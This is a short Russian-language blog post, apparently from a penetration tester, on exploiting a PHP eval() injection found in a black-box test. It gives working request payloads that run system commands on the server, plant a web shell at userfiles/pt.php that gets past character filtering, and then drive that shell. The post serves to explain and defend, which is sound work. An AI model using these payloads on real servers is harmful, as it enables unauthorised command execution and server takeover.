Выполнение команд на сервере в функции eval()

Выполнение команд на сервере в функции eval()
Как-то довелось мне исследовать одно Web-приложение методом black-box, в котором была выявлена красиво эксплуатабельная уязвимость, позволяющая выполнять произвольные команды на сервере. На этапе проведения сканирования, в поле зрения попало следующее сообщение об ошибке: Уязвимый код (полученный по окончании работ): ... if($_CONFIG["STATUS"]) eval(mkPHPeval($TMP)); ... name='more'> Из сообщения об ошибке отчетливо прослеживается, что в функцию eval() попадают данные без предварительной обработки. Данная функция пхп оценивает передаваемую в нее строку как PHP-код. Причем, достаточно часто я встречаюсь с ее использованием в различных CMS. В общем, эксплуатируется подобная уязвимость следующим образом: http://victim/?id=";system("ls%20-la");%20" Можно было бы предположить, что имея возможность выполнения команд на сервере через уязвимость в этой функции проблем с получением полноценного web-shellа возникнуть не должно. Однако, в моем случае фильтрация некоторых символов все-таки осуществлялась (фильтровались знаки перенаправления и объединения потоков). Поэтому был составлен запрос следующего вида: http://victim/?id=";$ha=fopen(substr("userfiles/pt.php",0,16),"w");fwrite($ha,$_GET[write]);%20"&write=<?system($_GET[cmd]);?> И после успешного выполнения запроса был получен наколенный web-shell без какой либо фильтрации передаваемых к нему символов: http://victim/userfiles/pt.php?cmd=ls К слову, в настоящее время XSpider отлавливает подобного рода уязвимости в функции eval(). А для того, чтобы избежать их появления, и появления прочих, не менее опасных уязвимостей в Web, можно воспользоваться рекомендациями, приведенными в этом разделе .
уязвимости Command Execution research vulns уязвимости web fuzzing blackbox xspider
Alt text